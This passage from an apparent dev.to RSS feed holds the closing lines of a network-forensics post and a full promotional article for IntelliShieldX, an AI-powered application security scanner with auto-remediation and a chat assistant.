&lt;li&gt;Deploy rules 1–5 to SIEM&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Full Report on GitHub
&lt;/h2&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;github.com/himanshumodi3108/cybersec-portfolio&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This analysis was performed on a controlled training dataset from malware-traffic-analysis.net for educational purposes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="https://www.linkedin.com/in/himanshu-kumar-modi-063b88239" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; · &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;Cybersecurity Portfolio&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>dfir</category>
      <category>networkforensics</category>
      <category>wireshark</category>
      <category>soc</category>
    </item>
    <item>
      <title>IntelliShieldX: Redefining Application Security with AI-Powered Intelligence</title>
      <dc:creator>Himanshu Kumar Modi</dc:creator>
      <pubDate>Sun, 14 Dec 2025 18:06:22 +0000</pubDate>
      <link>https://dev.to/himanshu_kumarmodi_8646f/intellishieldx-redefining-application-security-with-ai-powered-intelligence-1l34</link>
      <guid>https://dev.to/himanshu_kumarmodi_8646f/intellishieldx-redefining-application-security-with-ai-powered-intelligence-1l34</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Modern software systems are becoming increasingly complex. With microservices, APIs, cloud-native deployments, and rapid CI/CD cycles, &lt;strong&gt;security vulnerabilities are no longer rare — they are inevitable&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Traditional security tools often produce noisy results, require manual intervention, and fail to provide clear remediation guidance. Developers need &lt;strong&gt;actionable insights&lt;/strong&gt;, not just vulnerability lists.&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;IntelliShieldX&lt;/strong&gt; comes in.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is IntelliShieldX?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;IntelliShieldX&lt;/strong&gt; is a hybrid AI-powered security platform that scans &lt;strong&gt;files, URLs, repositories, and complete codebases&lt;/strong&gt; to detect vulnerabilities using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Static security analysis
&lt;/li&gt;
&lt;li&gt;Threat intelligence databases
&lt;/li&gt;
&lt;li&gt;LLM-based contextual reasoning
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike traditional scanners, IntelliShieldX doesn’t stop at detection. It &lt;strong&gt;explains issues, prioritizes risk, and helps fix vulnerabilities automatically&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Traditional Security Tools Fall Short
&lt;/h2&gt;

&lt;p&gt;Most security tools today struggle with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ High false-positive rates
&lt;/li&gt;
&lt;li&gt;❌ Poor context awareness
&lt;/li&gt;
&lt;li&gt;❌ Limited remediation guidance
&lt;/li&gt;
&lt;li&gt;❌ Complex configuration and setup
&lt;/li&gt;
&lt;li&gt;❌ Separate tools for scanning, fixing, and reporting
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a result, security often becomes a bottleneck instead of an enabler.&lt;/p&gt;




&lt;h2&gt;
  
  
  How IntelliShieldX Works
&lt;/h2&gt;

&lt;p&gt;IntelliShieldX uses a &lt;strong&gt;three-layer intelligent security architecture&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1️⃣ Static Analysis Engine
&lt;/h3&gt;

&lt;p&gt;The platform analyzes source code, dependencies, and configurations to identify issues such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL Injection
&lt;/li&gt;
&lt;li&gt;Cross-Site Scripting (XSS)
&lt;/li&gt;
&lt;li&gt;Insecure deserialization
&lt;/li&gt;
&lt;li&gt;Hardcoded secrets
&lt;/li&gt;
&lt;li&gt;Misconfigured security headers
&lt;/li&gt;
&lt;li&gt;Unsafe API usage
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2️⃣ Threat Intelligence Integration
&lt;/h3&gt;

&lt;p&gt;Security findings are enriched using real-world threat data, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Known CVEs and vulnerability databases
&lt;/li&gt;
&lt;li&gt;Malicious IP and URL feeds
&lt;/li&gt;
&lt;li&gt;Malware and phishing indicators
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This helps distinguish &lt;strong&gt;theoretical risks from actively exploited vulnerabilities&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  3️⃣ AI-Powered Reasoning Layer
&lt;/h3&gt;

&lt;p&gt;Using Large Language Models (LLMs), IntelliShieldX:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understands application context
&lt;/li&gt;
&lt;li&gt;Explains &lt;em&gt;why&lt;/em&gt; a vulnerability exists
&lt;/li&gt;
&lt;li&gt;Assesses real-world impact
&lt;/li&gt;
&lt;li&gt;Generates &lt;strong&gt;secure, production-ready code fixes&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  AI-Powered Auto-Remediation
&lt;/h2&gt;

&lt;p&gt;One of IntelliShieldX’s core strengths is &lt;strong&gt;auto-remediation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For each vulnerability, the platform can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generate secure alternative code
&lt;/li&gt;
&lt;li&gt;Recommend best practices
&lt;/li&gt;
&lt;li&gt;Suggest configuration hardening
&lt;/li&gt;
&lt;li&gt;Provide step-by-step remediation guidance
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This significantly reduces the time between &lt;strong&gt;detection and resolution&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-Time AI Chat Assistant
&lt;/h2&gt;

&lt;p&gt;IntelliShieldX includes a built-in &lt;strong&gt;AI security chat assistant&lt;/strong&gt; that allows developers to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ask questions about vulnerabilities
&lt;/li&gt;
&lt;li&gt;Understand scan results in detail
&lt;/li&gt;
&lt;li&gt;Request secure code examples
&lt;/li&gt;
&lt;li&gt;Learn about attack techniques
&lt;/li&gt;
&lt;li&gt;Explore mitigation strategies interactively
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The chat supports &lt;strong&gt;multiple AI models&lt;/strong&gt;, enabling users to select models based on performance, cost, and security depth.&lt;/p&gt;




&lt;h2&gt;
  
  
  Model Selection &amp;amp; Subscription-Based Access
&lt;/h2&gt;

&lt;p&gt;Different workloads require different AI capabilities.&lt;/p&gt;

&lt;p&gt;IntelliShieldX categorizes AI models into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Basic models&lt;/strong&gt; – fast and cost-efficient
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Advanced models&lt;/strong&gt; – deeper reasoning and accuracy
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enterprise models&lt;/strong&gt; – security-focused, high-context analysis
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Model access is controlled via &lt;strong&gt;subscription tiers&lt;/strong&gt;, ensuring scalability, fairness, and predictable costs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reporting, Verification &amp;amp; Automation
&lt;/h2&gt;

&lt;p&gt;Every scan produces &lt;strong&gt;professional, verifiable outputs&lt;/strong&gt;, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📄 Downloadable PDF reports
&lt;/li&gt;
&lt;li&gt;📊 Severity charts and visual insights
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These reports are suitable for developers, security teams, and auditors alike.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who Is IntelliShieldX For?
&lt;/h2&gt;

&lt;p&gt;IntelliShieldX is designed for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;👩‍💻 Developers seeking fast security feedback
&lt;/li&gt;
&lt;li&gt;🛡️ Security engineers managing application risk
&lt;/li&gt;
&lt;li&gt;🚀 DevSecOps teams integrating security into pipelines
&lt;/li&gt;
&lt;li&gt;🏢 Startups and enterprises securing growing codebases
&lt;/li&gt;
&lt;li&gt;📚 Developers learning secure coding practices
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Application security should not slow development down.&lt;/p&gt;

&lt;p&gt;By combining &lt;strong&gt;automation, AI reasoning, and actionable remediation&lt;/strong&gt;, IntelliShieldX helps teams ship software that is not only faster — but safer.&lt;/p&gt;

&lt;p&gt;Security becomes a continuous, integrated part of development rather than an afterthought.&lt;/p&gt;




&lt;h2&gt;
  
  
  ScreenShot
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Landing Page
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F989p5ravzqxnybk3rez3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F989p5ravzqxnybk3rez3.png" alt=" " width="800" height="2072"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Dashboard
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faccq9qwirifhiqvfo6cg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faccq9qwirifhiqvfo6cg.png" alt=" " width="800" height="1082"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  AI Chat Page
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjt6vi88uoy3jv1m165k8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjt6vi88uoy3jv1m165k8.png" alt=" " width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Scan Page
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93aumx1rmpsqfh9gks21.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93aumx1rmpsqfh9gks21.png" alt=" " width="800" height="569"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🔗 Links &amp;amp; Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;🌐 &lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://intelli-shield-x-ai.vercel.app/" rel="noopener noreferrer"&gt;https://intelli-shield-x-ai.vercel.app/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧠 &lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a href="https://github.com/himanshumodi3108/IntelliShieldX-AI" rel="noopener noreferrer"&gt;https://github.com/himanshumodi3108/IntelliShieldX-AI&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading!&lt;br&gt;&lt;br&gt;
If you’re interested in AI-driven application security, DevSecOps tooling, or contributing to open-source security platforms, feel free to explore the project or share your thoughts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
